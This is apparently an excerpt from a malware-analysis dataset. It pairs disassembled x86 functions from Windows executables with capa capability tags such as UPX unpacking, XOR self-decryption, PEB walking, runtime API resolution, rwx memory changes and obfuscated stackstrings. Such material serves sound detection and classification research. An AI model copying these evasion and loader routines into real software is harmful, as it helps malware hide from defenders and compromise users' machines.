joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e890
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
or ebp, 0xffffffff
jmp 0x41e8b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41e8b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41e8a8
mov eax, 1
add ebx, ebx
jne 0x41e8cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41e8c0
jne 0x41e8dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e8c0
xor ecx, ecx
sub eax, 3
jb 0x41e8f0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41e962
mov ebp, eax
add ebx, ebx
jne 0x41e8fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41e908
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41e92c
inc ecx
add ebx, ebx
jne 0x41e918
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41e90d
jne 0x41e929
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e90d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41e94c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41e93d
jmp 0x41e8ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41e94c
add edi, ecx
jmp 0x41e8ae
pop esi
mov edi, esi
mov ecx, 0x45d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41e96a
cmp byte [edi], 5
jne 0x41e96a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41e96f
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x41e9e7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f8b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f950]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41e99c
mov ecx, edi
jns 0x41e9cb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f954]
or eax, eax
je 0x41e9e1
mov dword [ebx], eax
add ebx, 4
jmp 0x41e9b9
call dword [esi + 0x1f958]
popal
jmp section.UPX0

Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x40892c
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop eax
dec ebx
or ebx, ecx
call fcn.00408966
add ecx, 0x502b58ae
add ecx, 0xd5b76d78
xor dword [edx], eax
mov ecx, 0x43122f5a
add ecx, 0x2bfd47a9
add edx, 1
dec ebx
cmp edx, edi
jne fcn.0040892c
ret
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x403c6d
Capabilities:
Allocate or change rwx memory
Read .ini file

Disassembly:
mov eax, 0x447c8b
call fcn.00447b98
sub esp, 0x104
push ebx
push esi
push edi
mov eax, 0xb2d3b
add dword [0x4882c4], eax
xor ebx, ebx
cmp dword [0x4882c4], 0x16
jne 0x403d0a
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x402cd8
push ebx
push 0x402d00
push 0x402d10
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
call fcn.004031f0
lea eax, [ebp - 0x40]
call fcn.00403f77
push ebx
mov dword [ebp - 4], ebx
call fcn.00404ca6
mov dword [esp], 0x929
push 0xea
call fcn.00404d34
push ebx
call fcn.0040538e
or dword [ebp - 4], 0xffffffff
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.00403f9c
xor eax, eax
cmp eax, 0xf027949
jg 0x403d1b
inc eax
cmp eax, 0x736259b2
jl 0x403d0c
push 0x45bab8
mov byte [0x45bac2], 0x6c
mov byte [0x45bac3], 0x6c
mov byte [0x45bac4], bl
mov byte [0x45bab8], 0x6b
mov byte [0x45baba], 0x72
mov byte [0x45babd], 0x6c
mov byte [0x45babf], 0x32
mov byte [0x45bac0], 0x2e
mov byte [0x45babb], 0x6e
mov byte [0x45babc], 0x65
mov byte [0x45bac1], 0x64
mov byte [0x45babe], 0x33
mov byte [0x45bab9], 0x65
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x4882c4]
mov dword [0x488234], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x4882c4]
mov dword [0x488230], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x455fcc]
xor esi, esi
mov dword [0x48839c], eax
cmp dword [0x4882c4], ebx
jbe 0x403e13
mov eax, dword [0x48839c]
mov dword [ebp - 0x14], eax
mov eax, 0xb2d3b
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov al, byte [eax + esi]
mov ecx, dword [0x488230]
mov byte [ecx + esi], al
cmp dword [0x4882c4], 0x44
jne 0x403e0a
lea eax, [ebp - 0x24]
push eax
push 0x402d40
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
inc esi
cmp esi, dword [0x4882c4]
jb 0x403dbe
call fcn.00403b9d
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
cmp esi, 0x770e
jne 0x403e37
call fcn.00403c47
inc esi
cmp esi, 0x286c535
jl 0x403e1a
push 0x7b
pop esi
cmp dword [0x4882c4], 0xd
jne 0x403e80
push 0x30
lea eax, [ebp - 0x70]
push ebx
push eax
mov dword [ebp - 0x74], ebx
call fcn.00409c10
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push 0x402d50
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_GetOldestEventLogRecord]
dec esi
jne 0x403e43
call fcn.00403c61
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x403e97
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x444
push ebx
push esi
xor esi, esi
cmp dword [0x4882c4], 0xc
push edi
jne 0x403ef0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push 0x402c37
push 0x45bab8
call fcn.00404b07
push esi
call fcn.004050a4
add esp, 0xc
push esi
call fcn.00404e8e
pop ecx
push esi
call fcn.00404e78
pop ecx
push esi
call fcn.004056ed
mov eax, dword [0x45adec]
mov edi, dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov dword [0x4882c4], eax
mov ebx, 0x9ae37
cmp dword [0x4882c4], 0x15
jne 0x403f5f
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0x402dbc
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0x402dd8
push 0x402e70
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [esp + 0x10]
push eax
push esi
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
lea eax, [esp + 0x230]
push eax
push esi
push esi
call edi
dec ebx
jne 0x403f05
call fcn.004032c1
call fcn.00403c6d
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x405e8b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4545c8]
jne 0x405e95
repz ret
jmp fcn.0040bffc
Function at 0x40e603
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004092d6
and dword [ebp - 4], 0
cmp dword [0x45b9dc], 0
mov ebx, eax
jne 0x40e6b4
push 0x402294
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40e765
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402288
push edi
call esi
test eax, eax
je 0x40e765
push eax
call fcn.00409264
mov dword [esp], 0x402278
push edi
mov dword [0x45b9dc], eax
call esi
push eax
call fcn.00409264
mov dword [esp], 0x402264
push edi
mov dword [0x45b9e0], eax
call esi
push eax
call fcn.00409264
mov dword [esp], 0x402248
push edi
mov dword [0x45b9e4], eax
call esi
push eax
call fcn.00409264
pop ecx
mov dword [0x45b9ec], eax
test eax, eax
je 0x40e6b4
push 0x402230
push edi
call esi
push eax
call fcn.00409264
pop ecx
mov dword [0x45b9e8], eax
mov eax, dword [0x45b9e8]
cmp eax, ebx
je 0x40e70c
cmp dword [0x45b9ec], ebx
je 0x40e70c
push eax
call fcn.004092df
push dword [0x45b9ec]
mov esi, eax
call fcn.004092df
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e70c
test edi, edi
je 0x40e70c
call esi
test eax, eax
je 0x40e703
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e703
test byte [ebp - 0xc], 1
jne 0x40e70c
or dword [ebp + 0x10], 0x200000
jmp 0x40e745
mov eax, dword [0x45b9e0]
cmp eax, ebx
je 0x40e745
push eax
call fcn.004092df
pop ecx
test eax, eax
je 0x40e745
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40e745
mov eax, dword [0x45b9e4]
cmp eax, ebx
je 0x40e745
push eax
call fcn.004092df
pop ecx
test eax, eax
je 0x40e745
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45b9dc]
call fcn.004092df
pop ecx
test eax, eax
je 0x40e765
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40e767
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x47356a3
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x4e6e7fa0
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x6400fbe9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp - 0x3a]
test dword [esp + edi*8 - 0x39a80001], esi
test dword [ebp + 0x4afffffc], esi
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.6400f3b0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6400f365
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
pop es
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
invalid
invalid
Function at 0x403560
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, dword [0x4ac4dc]
mov ecx, dword [0x4a93e4]
sub esp, 0xc2c
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x40364f
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp dword [0x4ac4dc], 0x959
jne 0x403635
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
lea eax, [esp + 0x1c]
push eax
push 0
call esi
push 0
push 0
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea edx, [esp + 0x43c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call esi
push 0
push 0x402ca0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov eax, dword [esp + 0x14]
push eax
call fcn.004033b0
add dword [esp + 0x14], 8
sub dword [esp + 0x18], 1
jne 0x4035a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc2c
ret
Function at 0x4071fc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43f238]
jne 0x407206
repz ret
jmp fcn.0040c505

Function at 0x40cfff
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040a718
and dword [ebp - 4], 0
cmp dword [0x442278], 0
mov ebx, eax
jne 0x40d0b0
push 0x4024a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d161
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402498
push edi
call esi
test eax, eax
je 0x40d161
push eax
call fcn.0040a6a6
mov dword [esp], 0x402488
push edi
mov dword [0x442278], eax
call esi
push eax
call fcn.0040a6a6
mov dword [esp], 0x402474
push edi
mov dword [0x44227c], eax
call esi
push eax
call fcn.0040a6a6
mov dword [esp], 0x402458
push edi
mov dword [0x442280], eax
call esi
push eax
call fcn.0040a6a6
pop ecx
mov dword [0x442288], eax
test eax, eax
je 0x40d0b0
push 0x402440
push edi
call esi
push eax
call fcn.0040a6a6
pop ecx
mov dword [0x442284], eax
mov eax, dword [0x442284]
cmp eax, ebx
je 0x40d108
cmp dword [0x442288], ebx
je 0x40d108
push eax
call fcn.0040a721
push dword [0x442288]
mov esi, eax
call fcn.0040a721
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d108
test edi, edi
je 0x40d108
call esi
test eax, eax
je 0x40d0ff
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d0ff
test byte [ebp - 0xc], 1
jne 0x40d108
or dword [ebp + 0x10], 0x200000
jmp 0x40d141
mov eax, dword [0x44227c]
cmp eax, ebx
je 0x40d141
push eax
call fcn.0040a721
pop ecx
test eax, eax
je 0x40d141
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d141
mov eax, dword [0x442280]
cmp eax, ebx
je 0x40d141
push eax
call fcn.0040a721
pop ecx
test eax, eax
je 0x40d141
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x442278]
call fcn.0040a721
pop ecx
test eax, eax
je 0x40d161
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d163
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011c6
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.0040114f
call section..text
movzx eax, al
cmp eax, 1
jne 0x4011e9
push 5
pop eax
jmp 0x4013b8
and dword [ebp - 0x40], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x44], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401234
cmp esi, dword [ebp - 0x2c]
je 0x401249
mov eax, dword [eax]
cmp eax, ebx
jne 0x40122a
mov eax, dword [eax + 0x18]
mov dword [ebp - 8], eax
nop
popal
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x43e344
push dword [0x43e320]
push 0x43e324
push dword [0x43e344]
push 0x43e348
call fcn.0040102b
add esp, 0x14
push 0x43e348
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
push 0x43e364
push dword [0x43e320]
push 0x43e324
push dword [0x43e364]
push 0x43e368
call fcn.0040102b
add esp, 0x14
push 0x43e368
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0x43e384
push dword [0x43e320]
push 0x43e324
push dword [0x43e384]
push 0x43e388
call fcn.0040102b
add esp, 0x14
push 0x43e388
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [0x40403c]
mov dword [ebp - 0x10], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x404040
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x10]
push eax
push dword [section..data]
push 0x404004
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [0x40403c]
push dword [ebp - 4]
call dword [ebp - 0x24]
push 0x40471c
push dword [0x4046e0]
push 0x4046e4
push dword [0x40471c]
push 0x404720
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [0x43e3dc], eax
and dword [ebp - 0x28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
push dword [ebp - 0x28]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [0x43e3dc]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4014e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov esi, ecx
mov ebx, dword [esp + 0x20]
mov ebp, dword [esp + 0x1c]
mov eax, dword [sym.imp.libLLVM.dll_vtable_for_llvm::cl::Option]
add eax, 8
mov dword [ecx], eax
mov word [ecx + 4], 0
movzx eax, word [ecx + 6]
and eax, 0xffff8000
or eax, 1
mov word [ecx + 6], ax
lea edi, [ecx + 0x30]
xorps xmm0, xmm0
movups xmmword [ecx + 8], xmm0
movups xmmword [ecx + 0x14], xmm0
mov dword [ecx + 0x24], edi
mov dword [ecx + 0x28], 0
mov dword [ecx + 0x2c], 1
lea eax, [ecx + 0x48]
mov dword [ecx + 0x34], eax
mov dword [ecx + 0x38], eax
mov dword [ecx + 0x3c], 1
mov dword [ecx + 0x40], 0
mov dword [ecx + 0x44], 0
call fcn.0040e94e
mov ecx, dword [esi + 0x28]
lea edx, [ecx + 1]
cmp edx, dword [esi + 0x2c]
ja 0x4015f8
mov edx, dword [esi + 0x24]
mov dword [edx + ecx*4], eax
inc dword [esi + 0x28]
xorps xmm0, xmm0
movups xmmword [esi + 0x4c], xmm0
movups xmmword [esi + 0x55], xmm0
mov dword [esi], 0x40fea0
mov dword [esi + 0x68], 0
mov dword [esi + 0x6c], 0
mov dword [esi + 0x70], 0
mov eax, dword [sym.imp.libLLVM.dll_vtable_for_llvm::cl::parser_unsigned_int_]
add eax, 8
mov dword [esi + 0x74], eax
lea eax, [esi + 0x78]
mov dword [esi + 0x78], 0x410570
mov dword [esi + 0x88], eax
push ebp
call sub.msvcrt.dll_strlen
add esp, 4
mov dword [esp], ebp
mov dword [esp + 4], eax
sub esp, 8
movsd xmm0, qword [esp + 8]
movsd qword [esp], xmm0
mov ecx, esi
call fcn.0040e97e
movsd xmm0, qword [ebx]
movsd qword [esi + 0x14], xmm0
mov ecx, esi
mov eax, dword [esp + 0x24]
push dword [eax]
call fcn.0040e966
mov ecx, esi
call fcn.0040e960
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
lea ecx, [esi + 0x24]
push 4
push edx
push edi
mov edi, eax
call fcn.0040e912
mov eax, edi
mov ecx, dword [esi + 0x28]
jmp 0x401562